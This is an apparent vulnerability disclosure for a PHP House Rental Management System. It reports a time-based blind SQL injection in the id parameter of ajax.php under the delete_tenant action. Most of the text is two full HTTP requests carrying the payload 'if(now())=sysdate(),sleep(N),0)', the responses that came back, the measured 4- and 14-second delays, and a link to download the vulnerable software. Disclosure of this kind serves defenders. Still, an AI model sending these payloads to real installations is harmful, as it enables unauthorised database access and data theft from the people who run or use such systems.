

SQL injection vulnerability exists in id parameter of ajax.php file of House Rental Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 POST /house rental/ajax.php?action=delete_tenant HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 Accept: */*
4 X-Requested-With: XMLHttpRequest
5 Referer: http://192.168.31.163/houserental/
6 Cookie: PHPSESSID=cfdvfdp660riajk3p660s7mmnf
7 Content-Length: 38
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 &id=if(now())=sysdate()%2Csleep(4)%2C0)
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Wed, 10 Apr 2024 13:11:26 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 1
11
12 1
```

Done 298 bytes 4,004 millis

Sleep time is 14s:

Request

```
1 POST /house rental/ajax.php?action=delete_tenant HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 Accept: */*
4 X-Requested-With: XMLHttpRequest
5 Referer: http://192.168.31.163/houserental/
6 Cookie: PHPSESSID=cfdvfdp660riajk3p660s7mmnf
7 Content-Length: 39
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 &id=if(now())=sysdate()%2Csleep(14)%2C0)
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Wed, 10 Apr 2024 13:12:14 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 1
11
12 1
```

Done 298 bytes 14,005 millis

Payload: id=if(now())=sysdate()%2Csleep(14)%2C0)

Source Download:

<https://www.campcodes.com/projects/php/house-rental-management-system/>